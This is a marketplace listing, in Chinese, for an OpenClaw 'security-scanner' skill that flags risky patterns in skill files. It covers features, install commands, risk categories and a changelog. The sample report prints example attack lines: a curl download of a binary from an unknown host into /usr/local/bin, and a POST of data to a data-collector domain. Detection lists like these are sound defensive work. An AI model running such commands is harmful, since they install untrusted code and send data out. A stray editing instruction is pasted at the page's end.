返回顶部
s

security-scanner安全扫描器

Scans OpenClaw skills for security vulnerabilities and suspicious patterns before installation

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 2.0.0
安全检测
已通过
2,417
下载量
免费
免费
7
收藏
概述
安装方式
版本历史

security-scanner

安全扫描器

描述

一款专注于安全性的技能,用于分析OpenClaw SKILL.md文件和技能包中潜在的安全风险、恶意模式和可疑行为。该工具通过检测以下内容帮助保护您的系统:

  • - 隐藏的外部下载或可执行文件
  • 可疑的API调用和端点
  • 危险的文件系统操作
  • 混淆或编码的命令
  • 不寻常的先决条件要求
  • 已知的恶意模式

为何重要: 该扫描器通过标记潜在可疑的指令模式,帮助您在安装前审查技能。

功能特性

  • - ✅ 模式检测:识别可疑的代码模式和行为
  • 先决条件分析:验证所需的依赖项和下载内容
  • API端点验证:检查可疑的外部连接
  • 文件系统审计:检测危险的文件操作
  • 编码检测:标记base64、十六进制及其他混淆尝试
  • 风险评分:分配风险等级(低、中、高、严重)
  • 详细报告:提供清晰的发现说明
  • 白名单支持:配置可信域名和模式

工作原理

这是一个OpenClaw技能(非独立程序)。当您要求代理扫描技能文件时:

  1. 1. 代理读取此安全扫描器技能,了解需要查找哪些模式
  2. 代理读取您要扫描的技能文件
  3. 代理分析指令并报告发现
  4. 您手动审查标记的项目

注意: 如果您更喜欢命令行使用,也可以直接使用Node.js 18+运行附带的scanner.js文件。

安装

通过ClawHub安装,或添加到您的OpenClaw技能目录。

命令行使用(可选):
bash

克隆仓库


git clone https://github.com/anikrahman0/security-skill-scanner.git
cd security-skill-scanner

运行扫描器

node scanner.js path/to/SKILL.md

配置

在您的OpenClaw目录中创建.security-scanner-config.json(可选):
json
{
whitelistedDomains: [
github.com,
api.openai.com,
api.anthropic.com,
raw.githubusercontent.com
],
whitelistedCommands: [
npm install,
pip install
],
strictMode: false
}

使用方法

扫描SKILL.md文件

用户:扫描 ~/Downloads/new-skill/SKILL.md 文件是否存在安全问题
代理:[运行安全扫描并报告发现]

安装前扫描

用户:我有邮件自动化技能文件。你能扫描它是否存在安全风险吗?
[用户上传SKILL.md文件]
代理:[读取并分析技能文件,提供风险评估]

重要提示: 如果您要求Claude先从互联网下载技能,该下载步骤将使用网络访问(尽管扫描器本身离线运行)。

批量扫描所有已安装技能

用户:扫描我所有已安装的OpenClaw技能是否存在安全问题
代理:[扫描 ~/.openclaw/skills/ 中的所有技能并生成报告]

检测内容

🔴 严重风险

  • - Shell命令注入尝试
  • 外部可执行文件下载(curl/wget二进制文件)
  • 可疑的eval()或exec()使用
  • 凭证收集模式
  • 已知恶意软件签名

🟠 高风险

  • - 未经验证的外部API调用
  • 对敏感目录的文件系统写入访问
  • Base64或十六进制编码的命令
  • 对未知域名的请求
  • 权限提升尝试

🟡 中等风险

  • - 大量文件系统读取访问
  • 未使用HTTPS的网络请求
  • 大量依赖项
  • 不寻常的先决条件请求
  • 已弃用或存在漏洞的包

🟢 低风险

  • - 轻微代码质量问题
  • 缺少错误处理
  • 文档不完整
  • 非关键警告

⚠️ 重要提示:误报与局限性

此扫描器会标记合法模式

扫描器使用正则表达式模式,可能匹配无害代码。常见误报:

  • - ✗ Markdown中的反引号 - 使用反引号的代码示例
  • 模板字符串 - 显示${variable}语法的文档
  • Base64示例 - 演示编码/解码的技能
  • 包管理器 - 合法的npm install或pip install命令
  • GitHub URL - 指向raw.githubusercontent.com的链接

实际扫描内容

技能是Markdown指令文件,而非可执行代码。此扫描器:

  • - ✅ 读取技能文件的Markdown文本
  • ✅ 查找可能令人担忧的指令模式
  • ✅ 标记项目供您手动审查
  • ❌ 不扫描可执行恶意软件(技能不是程序)
  • ❌ 不提供最终判定

您的责任

您必须在上下文中审查所有标记的项目。 问自己:

  • - 这个模式对技能的功能有意义吗?
  • 作者可信吗?
  • 指令清晰合理吗?

如有疑问,请咨询技能作者或社区。

输出格式

=== 安全扫描报告 ===
技能:邮件自动化
扫描时间:2024-02-09 14:30:22
总体风险:高 ⚠️

发现:
[严重] 检测到外部二进制文件下载
位置:先决条件第45行
模式:curl https://unknown-site.com/tool -o /usr/local/bin/helper
风险:从不可信来源下载并执行外部二进制文件
建议:请勿安装 - 需要手动验证

[高] 可疑API端点
位置:execute()第89行
模式:POST到http://data-collector.xyz/log
风险:向未知第三方服务器发送数据
建议:审查发送的数据内容

[中] 未加密网络请求
位置:第102行
模式:使用HTTP而非HTTPS
风险:数据传输未加密
建议:请求HTTPS版本

摘要:
总问题数:3
严重:1
高:1
中:1
低:0

建议:❌ 请勿安装
该技能存在严重安全问题,对您的系统构成重大风险。

示例场景

场景1:安全技能

用户:扫描天气检查技能
代理:✅ 安全 - 未检测到安全问题。该技能使用标准API调用
访问api.weatherapi.com,使用正确的HTTPS且无文件系统访问。

场景2:可疑技能

用户:我应该安装生产力助手技能吗?
代理:⚠️ 警告 - 该技能尝试下载外部二进制文件并
向未知域名发出请求。风险等级:严重
建议:请勿安装

场景3:轻微问题

用户:分析笔记记录技能
代理:⚠️ 注意 - 风险等级:低
发现2个轻微问题:
- 使用HTTP而非HTTPS下载图标
- 文件路径缺少输入验证
这些问题可能可以修复。考虑联系作者。

安全保障

此扫描器本身在设计上注重安全性:

  • - ✅ 无网络访问:扫描器本身完全离线运行(但如果您要求Claude先下载技能文件,该下载会使用网络)
  • 无外部依赖:纯JavaScript/Node.js
  • 只读:从不修改被扫描的文件
  • 无遥测:不向任何地方发送数据
  • 开源:所有代码均可审计
  • 沙箱化:不执行扫描技能中的代码

误报

扫描器可能标记某些模式的合法使用。常见误报:

  • - npm/pip安装:合法的包管理器可能触发警告
  • GitHub URL:原始GitHub内容URL通常是安全的
  • 配置文件:写入配置文件的技能可能被标记
  • 日志文件:创建日志文件可能触发文件系统警告

请运用判断力,在上下文中审查标记的项目。

局限性

  • - 无法检测零日漏洞或新型攻击向量
  • 可能遗漏复杂的混淆技术
  • 最终决策需要人工判断
  • 无法扫描加密或编译的代码
  • 基于模式的检测可能产生误报

此工具是有用的第一道防线,但不能替代仔细审查。

贡献

发现未检测到的恶意模式?提交问题或拉取请求,包含:

  • - 恶意模式
  • 使用该模式的示例技能
  • 建议的检测方法

路线图

  • - [ ] 基于机器学习的模式检测
  • [ ] 与VirusTotal API集成(可选)
  • [ ] 自动技能信誉检查
  • [ ] 社区来源的恶意软件签名
  • [ ] ClawHub.ai扫描的浏览器扩展
  • [ ] 技能开发者的CI/CD集成

支持

  • - 报告问题:https://github.com/anikrahman0/security-skill-scanner/issues
  • 建议改进:欢迎提交拉取请求
  • 安全问题:a7604366@gmail.com

许可证

MIT许可证 -

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 security-skill-scanner-1776336505 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 security-skill-scanner-1776336505 技能

通过命令行安装

skillhub install security-skill-scanner-1776336505

下载

⬇ 下载 security-scanner v2.0.0(免费)

文件大小: 22.64 KB | 发布时间: 2026-4-17 14:13

v2.0.0 最新 2026-4-17 14:13
# Changelog

## [2.0.0] - 2026-02-16

### Changed
- Clarified that this scans skill instruction files (markdown), not executable code
- Updated documentation to accurately describe how the scanner works with Claude
- Removed unverified statistics about malicious skills
- Added prominent false positive warnings and limitations section
- Fixed network access claims to be more accurate
- Improved usage examples to show correct workflow

### Fixed
- Updated contact email to a7604366@gmail.com
- Corrected installation instructions
- Removed misleading technical prerequisites

### Added
- "How It Works" section explaining the skill's operation
- Detailed false positive examples
- User responsibility guidelines
- Stronger disclaimer about manual review requirements

## [1.0.0] - 2026-02-09

### Added
- Initial release
- Pattern-based security scanning
- Risk level classification
- Command-line interface
- Whitelist configuration support
```

---

## Also Update the Example Output in SKILL.md

In the SKILL.md file I gave you, find this line (around line 161):
```
Scanned: 2024-02-09 14:30:22
```

**Change to:**
```
Scanned: 2026-02-16 14:30:22

Archiver·手机版·闲社网·闲社论坛·羊毛社区· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2025 闲社网·线报更新论坛·羊毛分享社区·http://xianshe.com

p2p_official_large
返回顶部